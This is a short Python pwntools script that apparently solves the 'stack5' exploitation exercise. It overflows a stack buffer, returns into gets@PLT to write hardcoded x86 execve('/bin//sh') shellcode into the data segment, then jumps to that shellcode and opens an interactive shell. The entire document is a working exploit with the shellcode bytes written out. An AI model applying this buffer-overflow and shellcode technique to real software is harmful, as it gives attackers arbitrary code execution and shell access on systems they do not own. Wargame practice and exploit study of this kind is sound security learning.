stack5

from pwn import *

def stack5():
    # HOST = '127.0.0.1'
    # PORT = 8888
    # r = remote(HOST, PORT)
    r = process("./stack5")
    raw_input("debug?")
    gets_PLT = 0x080482E8
    datasegment = 0x080495A4
    shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

    payload = "A"*0x44
    payload += "A"*8
    payload += p32(gets_PLT)
    payload += p32(datasegment)
    payload += p32(datasegment)
    r.sendline(payload)
    r.sendline(shellcode)
    r.interactive()

stack5()